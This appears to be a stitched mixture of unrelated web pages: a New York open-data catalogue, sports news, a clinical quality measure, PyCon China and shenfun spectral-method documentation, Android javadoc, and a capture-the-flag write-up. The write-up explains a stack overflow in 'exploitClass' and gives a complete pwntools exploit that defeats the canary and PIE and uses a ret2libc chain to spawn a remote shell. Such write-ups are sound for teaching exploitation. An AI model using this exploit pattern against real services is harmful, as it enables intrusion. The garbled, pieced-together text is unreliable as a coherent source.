State of New York
This is a catalog of datasets organized and made more accessible from the State of New York, providing simple dowloadable CSV and JSON files, as well as Postman Collections you can use as part of workflows and other automation.
Home
About
Tags
Feed
Automobile Insurance Company Complaint Rankings Beginning 2009
The DFS ranks automobile insurance companies doing business in New York State based on the number of consumer complaints upheld against them as a percentage of their total business over a two-year ...
Assembled Workers' Compensation Claims Beginning 2000
The Workers’ Compensation Board (WCB) administers and regulates workers’ compensation benefits, disability benefits, volunteer firefighters’ benefits, volunteer ambulance workers’ benefits, and vol...
Arts For Transit - Metropolitan Transportation Authority (MTA) Permanent Art Catalogue
Through the Permanent Art Program, Arts for Transit commissions public art that is seen by millions of city-dwellers as well as national and international visitors who use the MTA’s subways and tra...
Artificial Reefs Managed by New York State Department of Environmental Conservation
The dataset is composed of information from Marine Artificial Reef Map and includes GPS location coordinates as well as other information regarding the reef. New York State Department of Environmen...
Artificial Reef Aerial Survey Boat Count Beginning 1995
This file provides the boat count information resulting from the Artificial Reef Aerial Survey including the date of flight, reef observed, number of small boats observed, and number of large boats...
Aquatic Biological Monitoring Sampling Locations Beginning 1980
The Division of Water Stream Biomonitoring Unit (SBU) dataset contains the point sampling locations at which benthic macroinvertebrates, field chemistry, and at some locations, sediment, fish or di...
AOT (Assisted Outpatient Treatment) Court Orders
This dataset contains the number recipients with AOT petitions and court orders and their length of time on court order, by county, region and statewide.
Annual Youth Detention Admissions by County Beginning 2006
This data set from the Office of Children and Family Services (OCFS) provides information, by county, on detention admissions and unique youth admitted to detention from 2006 to 2012
Annual Population Estimates for New York State and Counties Beginning 1970
Resident population of New York State and counties. Estimates are based on Census counts (base population), intercensal estimates, and postcensal estimates.
Annual Enplanements in NYS Airports Beginning 1997
The dataset lists the number of passengers boarding an aircraft at the NYS Airports.
Annual Average Daily Traffic (AADT) Beginning 1977
Annual Average Daily Traffic (AADT) is an estimate of the average daily traffic along a defined segment of roadway. This value is calculated from short term counts taken along the same section whic...
American Recovery and Reinvestment Act (ARRA) Employment Numbers 2009 - 2013
The dataset lists the employment numbers per transportation mode per quarterly reporting period from March 2009 to 2013
Alternative Fuel Stations in New York
Go to https://afdc.energy.gov/stations/#/find/nearest to access the full database of alternative fuel station locations nationwide, collected and maintained by the U.S. Department of Energy Nationa...
Air Passenger Traffic per Month, Port Authority of NY NJ Beginning 1977
The dataset presented in this forum is monthly data. The Port Authority collects monthly data for domestic and international, cargo, flights, passengers and aircraft equipment type from each carri...
Air Monitoring Station Locations & Attributes
Location maps of monitoring sites and measured parameters in the NY State Ambient Air Monitoring Network
Aid for Part-Time Study (APTS) Institution Awards Data by College and Sector Group Beginning 2000
The Aid for Part-Time Study (APTS) program provides grant assistance for eligible part-time students enrolled in approved undergraduate studies. This data includes APTS award recipients and dollar...
Agricultural Fairs in New York State
Directory of New York State agricultural fairs for the current year, provided by the NYS Department of Agriculture and Markets. The dataset includes the address and county of the fair, the fair’s ...
Advantage After School Program
Included in the data set are data elements that will help the public learn about the agencies currently contracting with New York State to provide Advantage After School Program services. The data ...
Adult Arrests 18 and Older by County Beginning 1970
The counts of arrests are derived from information transmitted from law enforcement agencies to the Division of Criminal Justice Services Computerized Criminal History database for fingerprintable ...
Active Sporting License Issuing Agents
The name, mailing address and telephone number for the retail establishments and municipalities that sell hunting, fishing, and trapping licenses and associated privileges and permits.
Active Real Estate Salespersons and Brokers
This data contains active Real Estate Salesperson and Broker Licenses from New York State Department of State (DOS). Each line will be either an individual or business licensee which holds busines...
Active Corporations Beginning 1800
The Department of State keeps a record of every filing for every incorporated business in the state of New York. This dataset contains information on all active corporations as of the last business...
Active Construction Projects
Report includes a snapshot of active projects where DASNY delivers some level of project management oversight.
Active Code Official Certifications
The Division of Building Standards and Codes administers the mandatory statewide Uniform Fire Prevention and Building Code (Uniform Code) and State Energy Conservation Construction Code (Energy Cod...
Active Appearance Enhancement and Barber Business and Area Renter Licensees
This data contains active Appearance Enhancement and Barber Business and Area Renter Licenses. Each record will be a business license which holds business address and/or license number information.


Toggle navigation
SpyForms
Home
About
Contact
Github
Contact Form
Example of a common or popular contact form.
Play
Clear
Log
Just start typing and we will log
Location
Select a location:
New York
Detroit
pittsburgh
San Francisco
Send


Michigan State at Rutgers: Game Time, Spread, Channel, Announcers
by Chris RosvoglouIf Michigan State wants any chance at playing in a bowl game this season, it’ll need to win on the road this weekend against Rutgers.
Michigan State began the season with a 4-1 record, but then Mark Dantonio’s team went on to lose four-straight games. This includes a blown 28-3 lead to Illinois and embarrassing performance against Michigan. The longtime Spartans head coach has faced questions about his job, with these recent struggles.
Rutgers hasn’t looked solid by any means, either. However, the team is in a tough spot since it’s being led by interim head coach Nunzio Campanile.
The Scarlet Knights had their hands full against the Ohio State Buckeyes last weekend, but they did actually score 21 points which is more than most analysts predicted.
Although the Spartans have looked anemic on offense over the past few weeks, they remain heavily favored to defeat the Scarlet Knights.
Here are the details for this weekend’s Michigan State-Rutgers game:
Game Time: 12:00 p.m. ET
Channel: FS1
Spread: Michigan State -20.5
Over/Under: 43.5
Announcers: John Strong, Evan Moore
This might be Rutgers’ final chance to win a Big Ten game this season, especially since it has to go on the road to face Penn State next weekend.
With Brian Lewerke struggling at quarterback over the last month for Michigan State, it’s possible that an upset takes place in New Jersey.
Do you think Michigan State finally gets back in the win column, or will Rutgers pull off the upset?


a is a anchnor directive used to inherit theme so stand-alone anchors. This allows standalone a tags to support theme colors for md-primary, md-accent, etc.
a


-
Initial Patient Population =
- AND: "Occurrence A of Encounter, Performed: Encounter Inpatient" ends during "Measurement Period"
- AND:
- OR: "Diagnosis, Active: Liveborn Newborn Born in Hospital" starts during "Occurrence A of Encounter, Performed: Encounter
Inpatient"
- OR: "Diagnosis, Active: Livebirth" starts during "Occurrence A of Encounter, Performed: Encounter Inpatient"
-
Denominator =
- AND: "Initial Patient Population"
-
Denominator Exclusions =
- AND:
- AND: "Patient Characteristic Expired: Patient Expired"
- AND NOT:
- OR: "Diagnostic Study, Result: Newborn Hearing Screen Left"
- OR: "Diagnostic Study, Result: Newborn Hearing Screen Right"
- during "Occurrence A of Encounter, Performed: Encounter Inpatient"
-
Numerator =
- AND:
- AND:
- OR: "Diagnostic Study, Result: Newborn Hearing Screen Left (result: 'Pass Or Refer')"
- OR: "Diagnostic Study, Result not done: Medical Reasons" for "Newborn Hearing Screen Left "
- AND:
- OR: "Diagnostic Study, Result: Newborn Hearing Screen Right (result: 'Pass Or Refer')"
- OR: "Diagnostic Study, Result not done: Medical Reasons" for "Newborn Hearing Screen Right "
- during "Occurrence A of Encounter, Performed: Encounter Inpatient"
-
Denominator Exceptions =
-
"Diagnosis, Active: Livebirth" using "Livebirth SNOMEDCT Value Set (2.16.840.1.114<IP_ADDRESS><IP_ADDRESS>)"
-
"Diagnosis, Active: Liveborn Newborn Born in Hospital" using "Liveborn Newborn Born in Hospital Grouping Value Set (2.16.840.1.1137<IP_ADDRESS>6.6)"
-
"Diagnostic Study, Result not done: Medical Reasons" using "Medical Reasons SNOMEDCT Value Set (2.16.840.1.114<IP_ADDRESS><IP_ADDRESS>)"
-
"Diagnostic Study, Result not done: Medical Reasons" using "Medical Reasons SNOMEDCT Value Set (2.16.840.1.114<IP_ADDRESS><IP_ADDRESS>)"
-
"Diagnostic Study, Result: Newborn Hearing Screen Left" using "Newborn Hearing Screen Left LOINC Value Set (2.16.840.1.114<IP_ADDRESS><IP_ADDRESS>)"
-
"Diagnostic Study, Result: Newborn Hearing Screen Right" using "Newborn Hearing Screen Right LOINC Value Set (2.16.840.1.114<IP_ADDRESS><IP_ADDRESS>)"
-
"Encounter, Performed: Encounter Inpatient" using "Encounter Inpatient SNOMEDCT Value Set (2.16.840.1.113883.3.666.5.307)"
-
"Patient Characteristic Expired: Patient Expired" using "Patient Expired SNOMEDCT Value Set (2.16.840.1.1138<IP_ADDRESS>.7.1.309)"
-
Attribute: "Result: Pass Or Refer" using "Pass Or Refer SNOMEDCT Value Set (2.16.840.1.114<IP_ADDRESS><IP_ADDRESS>)"
-
"Patient Characteristic Ethnicity: Ethnicity" using "Ethnicity CDCREC Value Set (2.16.840.1.114<IP_ADDRESS>7)"
-
"Patient Characteristic Payer: Payer" using "Payer SOP Value Set (2.16.840.1.114<IP_ADDRESS>91)"
-
"Patient Characteristic Race: Race" using "Race CDCREC Value Set (2.16.840.1.114<IP_ADDRESS>6)"
-
"Patient Characteristic Sex: ONC Administrative Sex" using "ONC Administrative Sex AdministrativeSex Value Set (2.16.840.1.1137<IP_ADDRESS>)"


Points: 200 Category: Exploitation Author: Dagger
Introduction
In this challenge, we are given an ELF 64 bits binary with its C library. The binary is very simple, it allow us to edit/read the content of an array.
$ ./exploitClass
Welcome to the student registration service for the binary exploitation class in WS18!
Enter 1 to read, 2 to write and any other number to exit!
1
Which entry to show?
0
John
Enter 1 to read, 2 to write and any other number to exit!
2
Which entry to write?
0
What to write?
toto
Enter 1 to read, 2 to write and any other number to exit!
1
Which entry to show?
0
toto
Vulnerability
The vulnerability is located in the writeData
function.
void writeData(char *entry_array) {
unsigned int index;
puts("Which entry to write?");
index = 0;
scanf("%u", &index);
if ( index <= 252 ) {
puts("What to write?");
read(0, (void *)(entry_array + 12 * index), 12);
}
}
This function write some data at a given index which is multiplied by 12. There is an if
condition which check that the index is in the good range. But the condition is done before to have multiplied the index by 12. So we can overwrite the data on the stack which are located above the array.
Exploitation
The exploitation is more complex by the fact that:
- The binary is compiled with the Position Independant Executable protection (We need a leak in order to do a
ROP
) ; - The binary is compiled with the Stack Smash Protection (We need to take care of the canary) ;
- The binary is FULL RELRO (We can’t overwrite the GOT entry) ;
- The binary also has No eXecutable stack (We can’t execute a shellcode) ;
Using both writeData
and readData
functions we can easily leak the data which are above our array. To do this we are going to fill the last entry of the array with some printable character until we reach an address above the array. (The function used to print the data in readData() is puts())
The exploitation technique is in four parts:
- Leak the canary which is the first value above our array ;
- Leak one of the .text address which is the next one after the canary. This address is the
__lib_csu_init
address. Using this leak we can easily calculate the binary base address and so on, defeat the PIE protection. - Set again the canary value as we needed to overwrite it in order to leak the previous address.
- Overwrite the
saved RIP
with our gadget. I choose a basic ROP technique, ret2plt to leak the LibC, ret2main and then ret2libc.
Here is the final exploit:
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
from pwn import *
context(arch="amd64", os="linux", endian="little")
class Pwn:
def __init__(self):
self.p = None
self.e = ELF("./exploitClass")
self.libc = ELF("./libc.so.6")
def start_binary(self):
self.p = remote("class.uni.hctf.fun", 24241)
self.p.recvuntil("exit!\n")
def read_data(self, index):
self.p.sendline("1")
self.p.recvuntil("show?\n")
self.p.sendline(str(index))
data=self.p.recvline()
self.p.recvuntil("exit!\n")
return data
def write_data(self, index, data, line):
self.p.sendline("2")
self.p.recvuntil("write?\n")
self.p.sendline(str(index))
self.p.recvuntil("write?\n")
if line == 1:
self.p.sendline(data)
else:
self.p.send(data)
self.p.recvuntil("exit!\n")
def leak_libc(self, bin_base, leak_canary):
pop_rdi=p64(bin_base+0x14a3)
puts_got=bin_base+self.e.got["puts"]
puts_plt=bin_base+self.e.plt["puts"]
main_addr=p64(bin_base+self.e.symbols["main"])
self.write_data(22, p64(leak_canary), 0)
self.write_data(24, "A"*8+pop_rdi[0:4], 0)
self.write_data(25, pop_rdi[4:]+p64(puts_got), 0)
self.write_data(26, p64(puts_plt)+main_addr[0:4], 0)
self.write_data(27, main_addr[4:], 0)
self.p.sendline("3")
data=u64(self.p.recvuntil("exit!\n")[17:23]+"\x00"*2)
return data
def exec_system(self, libc_base, bin_base):
pop_rdi=p64(bin_base+0x14a3)
system_addr=libc_base+self.libc.symbols["system"]
bin_sh_addr=libc_base+next(self.libc.search('/bin/sh\x00'))
self.write_data(24, "A"*8+pop_rdi[0:4], 0)
self.write_data(25, pop_rdi[4:]+p64(bin_sh_addr), 0)
self.write_data(26, p64(system_addr), 0)
self.p.sendline("3")
self.p.interactive()
self.p.close()
def pwn_binary(self):
self.start_binary()
self.write_data(21, "A"*12, 0)
self.write_data(22, "A", 0)
leak_canary=self.read_data(21)[13:-1]
leak_canary=u64("\x00"+leak_canary)
log.info("Leak canary: "+hex(leak_canary))
self.write_data(22, "A"*12, 0)
self.write_data(23, "A"*4, 0)
bin_base=u64(self.read_data(21)[28:-1]+"\x00"*2)-self.e.symbols["__libc_csu_init"]
log.info("Leak binary base address: "+hex(bin_base))
libc_base=self.leak_libc(bin_base, leak_canary)-self.libc.symbols["puts"]
log.info("Leak base libc address: "+hex(libc_base))
self.exec_system(libc_base, bin_base)
def main():
pwn = Pwn()
pwn.pwn_binary()
if __name__ == "__main__":
main()
Let’s try it:
Done.
Ps: You can find the binary and the exploit here


In recent years, Python has excellent performance in the fields of Internet, artificial intelligence, scientific computing, game, cloud computing, big data, devops, and enterprise software.
PyCon is a global technology conference for the Python language community. PyCon China is an Annual meeting of Python, which licensed by PyCon and hosted by CPyUG(Chinese Python User Group). In the past 7 years, it has successfully held more than 20 times in Beijing, Shanghai, Guangzhou, Zhuhai, Hangzhou, Suzhou, Xi'an and Hefei.
The 8th China Python Developers Conference PyCon China 2018 is sponsored by PyChina.org, organized by 30 organizers from CPyUG / TopGeek and nearly 150 volunteers in Beijing, Shanghai, Shenzhen, Hangzhou and Chengdu. It will commit to the development and application of various Python-related technologies in the fields of Internet and enterprise applications.
With the rapid development of big data and artificial intelligence, Python brings huge opportunities to developers.
Each Pythoner has their own PyCon conference in mind, and the organizing committee of the conference is also working on a conference that will help Pythoner. So this year —— in the 8th year of PyCon China, we will break the past conventions and welcome all developers who are committed to promoting Python technology to join our organizing committee, lecturers, and volunteers. Together with the famous Python experts and enthusiastic Python promotion ambassadors to promote the Python language and its latest applications to the whole society. Let us work together to make the PyCon conference become an big party of gathering and sharing of experiences and achievements for pythoners once a year.
The main venue of PyCon China 2018 is located in Beijing, because Beijing is the most concentrated city of Pythoners. We will try our best to meet the demands of Pythoners in various fields with the main venue of thousand people summit in the morning and the 5-6 breakout venue in the afternoon. At the same time, the Python special session for women was opened for the first time under the advice of Beijing core organizer Zheao Lee.
Shanghai, Hangzhou, Shenzhen and Chendu are the breakout venues. We will coordinate and arrange the specific sharing schedules according to the application situation of subject, the willingness of everyone to participate, and the local characteristics.
In the case where the lecturer and the venue are mature, we welcome Pyhoners from other regions to launch the PyCon conference, in order to making more Pythoners talk and share together, and making more people understand, recognize, use Python and become experts.


Spurs sack Pochettino: Other clubs would have built him a statue, says Crouch
by Sports DeskFormer Tottenham striker Peter Crouch was "flabbergasted" by Spurs sacking Mauricio Pochettino, claiming other clubs would have rewarded him with a statue.
Pochettino and his coaching staff dismissed on Tuesday with Tottenham winless in their past five Premier League matches and sitting 14th.
But the former Southampton boss led Spurs to their first Champions League final in June, overseeing incredible victories against Manchester City and Ajax before missing out on the trophy to Liverpool.
Crouch, who came through Tottenham's academy and played for the club between 2009 and 2011, could not believe how quickly Pochettino's achievements had been forgotten.
"I'm flabbergasted by Tottenham's decision," ex-England star Crouch wrote in the Daily Mail.
"I know results have been poor and I understand why the top teams act when their potential to qualify for the following season's Champions League is in jeopardy, but it is ridiculous to think Pochettino has suddenly lost his spark.
"He led Tottenham into the Champions League final on June 1. Some clubs, who aren't accustomed to that stage, would build a statue for a manager who took them to the biggest game in club football.
"But all Pochettino has got is his marching orders. I fear it is a decision Tottenham will regret."
He added: "[Pochettino] was the best thing that had happened to them for 20 years. Good luck to them if they think they can find someone better."
Jose Mourinho is reportedly in line to replace Pochettino at Tottenham Hotspur Stadium.


shenfun
is a Python module package containing tools for working with the spectral Galerkin method. Shenfun implements classes for several bases with different boundary conditions, and within each class there are methods for transforms between spectral and real space, inner products, and for computing matrices arising from bilinear forms in the spectral Galerkin method. The Python module is organized as shown in Figure 1.
The shenfun
language is very simple and closely follows that of FEniCS. A simple form implementation provides operators div, grad, curl
and Dx
, that act on three different types of basis functions, the TestFunction
, TrialFunction
and Function
. Their usage is very similar to that from FEniCS, but not as general, nor flexible, since we are only conserned with simple tensor product grids and smooth solutions. The usage of these operators and basis functions will become clear in the following subchapters, where we will also describe the inner
and project
functions, with functionality as suggested by their names.
The following bases are defined in submodules
uc
array is only used to test that the transform cycle returns the original data.
>>> from shenfun import *
>>> import numpy as np
>>> N = 16
>>> FFT = fourier.bases.R2CBasis(N)
>>> u = np.random.random(N)
>>> uc = u.copy()
>>> u_hat = FFT.forward(u)
>>> u = FFT.backward(u_hat)
>>> assert np.allclose(u, uc)
shenfun
has its own Matrix-class that is subclassing a Python dictionary, where keys are diagonal offsets, and values are the values along the diagonal. Some of the more important methods of the SparseMatrix
class are shown below:
class SparseMatrix(dict):
def __init__(self, d, shape):
dict.__init__(self, d)
self.shape = shape
def diags(self, format='dia'):
"""Return Scipy sparse matrix"""
def matvec(self, u, x, format='dia', axis=0):
"""Return Matrix vector product self*u in x"""
def solve(self, b, u=None, axis=0):
"""Return solution u to self*u = b"""
For example, we may declare a tridiagonal matrix of shape N x N as
>>> N = 4
>>> d = {-1: 1, 0: -2, 1: 1}
>>> A = SparseMatrix(d, (N, N))
or similarly as
>>> d = {-1: np.ones(N-1), 0: -2*np.ones(N)}
>>> d[1] = d[-1] # Symmetric, reuse np.ones array
>>> A = SparseMatrix(d, (N, N))
>>> A
{-1: array([ 1., 1., 1.]),
0: array([-2., -2., -2., -2.]),
1: array([ 1., 1., 1.])}
The matrix is a subclassed dictionary. If you want a regular Scipy sparse matrix instead, with all of its associated methods (solve, matrix-vector, etc.), then it is just a matter of
>>> A.diags()
<4x4 sparse matrix of type '<class 'numpy.float64'>'
with 10 stored elements (3 diagonals) in DIAgonal format>
>>> A.diags().toarray()
array([[-2., 1., 0., 0.],
[ 1., -2., 1., 0.],
[ 0., 1., -2., 1.],
[ 0., 0., 1., -2.]])
shenfun
, as shown below for a Chebyshev Dirichlet basis with 8 quadrature points
>>> from shenfun.chebyshev.bases import ShenDirichletBasis
>>> from shenfun import inner, TestFunction, TrialFunction
>>> N = 8
>>> SD = ShenDirichletBasis(N)
>>> u = TrialFunction(SD)
>>> v = TestFunction(SD)
A bilinear form contains both test- and trialfunctions, whereas a linear form contains only the testfunction. Assembling a biliear form results in a matrix, whereas assembling a linear form results in a vector.
A matrix that is the result of a bilinear form has its own subclass of SparseMatrix
, called a SpectralMatrix
. A SpectralMatrix
is created using inner
products on test and trial functions, for example the mass matrix:
>>> mass = inner(u, v)
>>> mass
{-2: array([-1.57079633]),
0: array([ 4.71238898, 3.1415
3.14159265, 3.14159265]),
2: array([-1.57079633])}
This mass
matrix will be the same as Eq. (2.5) of [1], and it will be an instance of the SpectralMatrix
class.
You may notice that mass
takes advantage of the fact that two diagonals are constant and consequently only stores one single value.
The inner
method may be used to compute any linear or bilinear form. For
example, the stiffness matrix K
may be computed with the bilinear form
>>> K = inner(v, div(grad(u)))
Square matrices have implemented a solve method that is using fast
\( \mathcal{O}(N) \) direct LU decomposition or similar, if available, and falls
back on using Scipy's solver in CSR format if no better method is found
implemented. For example, to solve the linear system Ku_hat=b_hat
>>> fj = np.random.random(N)
>>> b_hat = inner(v, fj)
>>> u_hat = np.zeros_like(b_hat)
>>> u_hat = K.solve(b_hat, u_hat)
Most methods are designed to work along any dimension of a multidimensional array. Very little differs in the users interface. Consider, for example, the previous example on a three-dimensional cube
>>> f3 = fj.repeat(N**2).reshape((N, N, N)) # Array f3 of shape (N,N,N)
>>> u3 = np.zeros_like(f3)
>>> u3 = K.solve(f3, u3)
where K
is exactly the same as before, from the 1D example. The matrix solve is applied along the first dimension since this is the default behaviour.
The bases also have methods for transforming between spectral and real space. For example, one may project a random vector to the SD
space using
>>> fj = np.random.random(N)
>>> fk = np.zeros_like(fj)
>>> fk = SD.forward(fj, fk) # Gets expansion coefficients
and back to real physical space again
>>> fj = SD.backward(fk, fj)
Note that fj
now will be different than the original fj
since it now has homogeneous boundary conditions. However, if we transfer back and forth one more time, starting from fj
which is in the Dirichlet function space, then we come back to the same array:
>>> fj_copy = fj.copy()
>>> fk = SD.forward(fj, fk)
>>> fj = SD.backward(fk, fj)
>>> assert np.allclose(fj, fj_copy) # Is True
We have now shown the usage of shenfun
for single, one-dimensional spaces. It does not become really interesting before we start looking into tensor product grids in higher dimensions, but before we go there we revisit the spectral Galerkin method for a 1D Poisson problem, and show how the implementation of this problem can be performed using shenfun
.
To solve Eq. (1) with the discrete spectral Galerkin method, we create the basis \( V^p = \text{span}\{ e^{ilx} , \text{ for } l \in \boldsymbol{l}\} \) and attempt to find \( u \in V^p \) such that $$ \begin{equation} (-u'', v)_w^N = (f, v)_w^N, \quad \forall \, v \in V^p. \tag{10} \end{equation} $$ Inserting for Eq. (7) and using \( e^{imx} \) as test function we obtain $$ \begin{align} -(\sum_{l \in \bs{l}} \hat{u}_l (e^{ilx})'', e^{imx})_w^N &= (f(x), e^{imx})_w^N \quad \forall \, m \in \bs{l} \tag{11}\\ \sum_{l \in \bs{l}} l^2( e^{ilx}, e^{imx})_w^N \hat{u}_l &= (f(x), e^{imx})_w ^N\quad \forall \, m \in \bs{l}. \tag{12} \end{align} $$ Note that the discrete inner product (5) is used, and we also need to interpolate the function \( f(x) \) onto the grid \( \boldsymbol{x} \). For Fourier it becomes very simple since the weight functions are constant \( w_j = 2\pi/N \) and we have for the left hand side simply a diagonal matrix $$ \begin{equation} ( e^{ilx}, e^{imx})^N = 2\pi \delta_{ml} \quad \text{for} \, l, m \in \bs{l} \times \bs{l}, \tag{13} \end{equation} $$ where \( \delta_{ml} \) is the kronecker delta function. For the right hand side we have $$ \begin{align} (f(x), e^{imx})^N &= \frac{2 \pi}{N}\sum_{j=0}^{N-1} f(x_j) e^{-imx_j} \quad \text{for } m \in \bs{l}, \tag{14}\\ &= 2 \pi \mathcal{F}_m(f(\bs{x})), \tag{15}\\ &= 2 \pi \hat{f}_m, \tag{16} \end{align} $$ where \( \mathcal{F} \) represents the discrete Fourier transform that is defined as $$ \begin{equation} \hat{u}_l = \frac{1}{N}\sum_{j=0}^{N-1} u(x_j) e^{-ilx_j}, \quad \text{for } l \in \bs{l}, \tag{17} \end{equation} $$ or simply $$ \begin{equation} \bs{\hat{u}} = \mathcal{F}(\bs{u}). \tag{18} \end{equation} $$ Putting it all together we can set up the assembled linear system of equations for \( \hat{u}_l \) in (12) $$ \begin{equation} \sum_{l \in \bs{l}}2 \pi l^2 \delta_{ml} \hat{u}_l = 2 \pi \hat{f}_{m} \quad \forall \, m \in \bs{l}, \tag{19} \end{equation} $$ which is trivially solved since it only involves a diagonal matrix (\( \delta_{ml} \)), and we obtain $$ \begin{equation} \hat{u}_l = \frac{1}{l^2} \hat{f}_{l} \quad \forall \,l \in \bs{l} \setminus{\{0\}}. \tag{20} \end{equation} $$
So, even though we carefully followed the spectral Galerkin method, we have ended up with the same result that would have been obtained with a Fourier collocation method, where one simply takes the Fourier transform of the Poisson equation and differentiate analytically.
With shenfun
the periodic 1D Poisson equation can be trivially computed either with the collocation approach or the spectral Galerkin method. The procedure for the spectral Galerkin method will be shown first, before the entire problem is solved. All shenfun
demos in this paper will contain a similar preample section where some necessary Python classes, modules and functions are imported. We import Numpy since shenfun
arrays are Numpy arrays, and we import from Sympy to construct some exact solution used to verify the code. Note also the similarity to FEniCS with the import of methods and classes inner, div, grad, TestFunction, TrialFunction
. The Fourier spectral Galerkin method in turn requires that the FourierBasis
is imported as well. The following code solves the Poisson equation in 1D with shenfun:
from sympy import Symbol, cos
import numpy as np
from shenfun import inner, div, grad, TestFunction, TrialFunction
from shenfun.fourier.bases import FourierBasis
# Use Sympy to compute a rhs, given an analytical solution
x = Symbol("x")
ue = cos(4*x)
fe = ue.diff(x, 2)
# Create Fourier basis with N basis functions
N = 32
ST = FourierBasis(N, np.float)
u = TrialFunction(ST)
v = TestFunction(ST)
X = ST.mesh(N)
# Get f and exact solution on quad points
fj = np.array([fe.subs(x, j) for j in X], dtype=np.float)
uj = np.array([ue.subs(x, i) for i in X], dtype=np.float)
# Assemble right and left hand sides
f_hat = inner(v, fj)
A = inner(v, div(grad(u)))
# Solve Poisson equation
u_hat = A.solve(f_hat)
# Transfer solution back to real space
uq = ST.backward(u_hat)
assert np.allclose(uj, uq)
Naturally, this simple problem could be solved easier with a Fourier collocation instead, and a simple pure 1D Fourier problem does not illuminate the true advantages of shenfun
, that only will become evident when we look at higher dimensional problems with tensor product spaces. To solve with collocation, we could simply do
# Transform right hand side
f_hat = ST.forward(fj)
# Wavenumers
k = ST.wavenumbers(N)
k[0] = 1
# Solve Poisson equation (solution in f_hat)
f_hat /= k**2
# Transform to real space
uq = ST.backward(f_hat)
Note that ST
methods forward/backward
correspond to forward and inverse discrete Fourier transforms. Furthermore, since the input data fj
is of type float (not complex), the transforms make use of the symmetry of the Fourier transform of real data, that \( \hat{u}_k = \overline{\hat{u}}_{N-k} \), and that \( \bs{k}=0,1,\ldots, N/2 \) (index set computed as k = ST.wavenumbers(N)
).
We now follow the same procedure as in the section Periodic boundary conditions and solve Eq. (1) with the spectral Galerkin method.  In Eq. (32) \( A_{ml} =(v_l'', v_m)_w^N \) are the components of a sparse stiffness matrix, and we will use matrix notation \( \bs{A} = \{A_{ml}\}_{m,l \in \bs{l}^D \times \bs{l}^D} \) to simplify. The right hand side can similarily be assembled to a vector with components \( \tilde{f}_m = (f, v_m)_w^N \) such that \( \bs{\tilde{f}} = \{\tilde{f}_m\}_{m\in \bs{l}^D} \). Note that a tilde is used since this is not a complete transform. We can now solve for the unknown \( \bs{\hat{u}} = \{\hat{u}_l\}_{l\in \bs{l}^D} \) vector $$ \begin{align} -\bs{A} \bs{\hat{u}} &= \bs{\tilde{f}}, \tag{33}\\ \bs{\hat{u}} &= -\bs{A}^{-1} \bs{\tilde{f}}. \tag{34} \end{align} $$ Note that the matrix \( \bs{A} \) is a special kind of upper triangular matrix, and that the solution can be obtained very efficiently in approximately \( 4 N \) arithmetic operations.
To get the solution back and forth between real and spectral space we require a transformation pair similar to the Fourier transforms. We do this by projection. Start with $$ \begin{equation} u(\bs{x}) = \sum_{l\in \bs{l}^D} \hat{u}_l v_l(\bs{x}) \tag{35} \end{equation} $$ and take the inner product with \( v_m \) $$ \begin{equation} (u, v_m)_w^N = (\sum_{l\in \bs{l}^D} \hat{u}_l v_l, v_m)_w^N. \tag{36} \end{equation} $$ Introducing now the mass matrix \( B_{ml} = (v_l, v_m)_w^N \) and the Shen forward inner product \( \mathcal{S}_m(u) = (u, v_m)_w^N \), Eq. (36) is rewritten as $$ \begin{align} \mathcal{S}_m(u) &= B_{ml} \hat{u}_l, \tag{37}\\ \bs{\hat{u}} =& \bs{B}^{-1} \mathcal{S}(\bs{u}) , \tag{38}\\ \bs{\hat{u}} =& \mathcal{T}(\bs{u}) , \tag{39} \end{align} $$ where \( \mathcal{T}(\bs{u}) \) represents a forward transform of \( \bs{u} \). Note that \( \mathcal{S} \) is introduced since the inner product \( (u, v_m)_w^N \) may, just like the inner product with the Fourier basis, be computed fast, with \( \mathcal{O}(N \log N) \) operations. And to this end, we need to make use of a discrete cosine transform (DCT), instead of the Fourier transform. The details are left out from this paper, though.
A simple Poisson problem with analytical solution \( \sin(\pi x)(1-x^2) \) is implemented below, where we also verify that the correct solution is obtained.
from sympy import Symbol, sin, lambdify
import numpy as np
from shenfun import inner, div, grad, TestFunction, TrialFunction
from shenfun.chebyshev.bases import ShenDirichletBasis
# Use sympy to compute a rhs, given an analytical solution
x = Symbol("x")
ue = sin(np.pi*x)*(1-x**2)
fe = ue.diff(x, 2)
# Lambdify for faster evaluation
ul = lambdify(x, ue, 'numpy')
fl = lambdify(x, fe, 'numpy')
N = 32
SD = ShenDirichletBasis(N)
X = SD.mesh(N)
u = TrialFunction(SD)
v = TestFunction(SD)
fj = fl(X)
# Compute right hand side of Poisson equation
f_hat = inner(v, fj)
# Get left hand side of Poisson equation and solve
A = inner(v, div(grad(u)))
f_hat = A.solve(f_hat)
uj = SD.backward(f_hat)
# Compare with analytical solution
ue = ul(X)
assert np.allclose(uj, ue)
Note that the inner product f_hat = inner(v, fj)
is computed under the hood using the fast DCT. The inverse transform uj = SD.backward(f_hat)
is also computed using a fast DCT, and we use the notation
$$
\begin{align}
u(x_j) &= \sum_{l\in \bs{l}^D} \hat{u}_l v_l(x_j) \quad j=0,1,\ldots, N-1, \notag
\tag{40}\\
\bs{u} &= \mathcal{S}^{-1}(\bs{\hat{u}}). \tag{41}
\end{align}
$$
To implement the same problem with the Legendre basis (22), all that is needed to change is the first line in the Poisson solver to from shenfun.legendre.bases import ShenDirichletBasis
. Everything else is exactly the same. However, a fast inner product, like in (41), is only implemented for the Chebyshev basis, since there are no known \( \mathcal{O}(N \log N) \) algorithms for the Legendre basis, and the Legendre basis thus uses straight forward \( \mathcal{O}(N^2) \) algorithms for its transforms.


{{site.user_description}}
Learning Julia and Scala now
Can use also Flask(Python Web framework)
Editor: PyCharm / VScode / Atom / Vim


public static final class R.string
extends java.lang.Object
| Modifier and Type | Field and Description |
|---|---|
static int |
android_camera |
static int |
app_name |
static int |
are_not_connected |
static int |
autoRefresh_pref |
static int |
autoRefresh_summary |
static int |
autoRefresh_title |
static int |
beep |
static int |
button_scan |
static int |
camera |
static int |
camera_roll |
static int |
circle
2d Graphics
|
static int |
complex |
static int |
confirm_delete |
static int |
connect
Connection Menu
|
static int |
connected
MainTabWidget
|
static int |
controller_mode_pref |
static int |
controllerMode |
static int |
current_controller |
static int |
default_refresh_rate |
static int |
delete_picture |
static int |
disconnect |
static int |
duration |
static int |
eight |
static int |
error_deleting |
static int |
error_external_save |
static int |
five |
static int |
four |
static int |
frequency |
static int |
height |
static int |
length |
static int |
line |
static int |
no_pictures |
static int |
none_found |
static int |
none_paired |
static int |
not_connected |
static int |
numsides |
static int |
octave |
static int |
ok |
static int |
one |
static int |
oval |
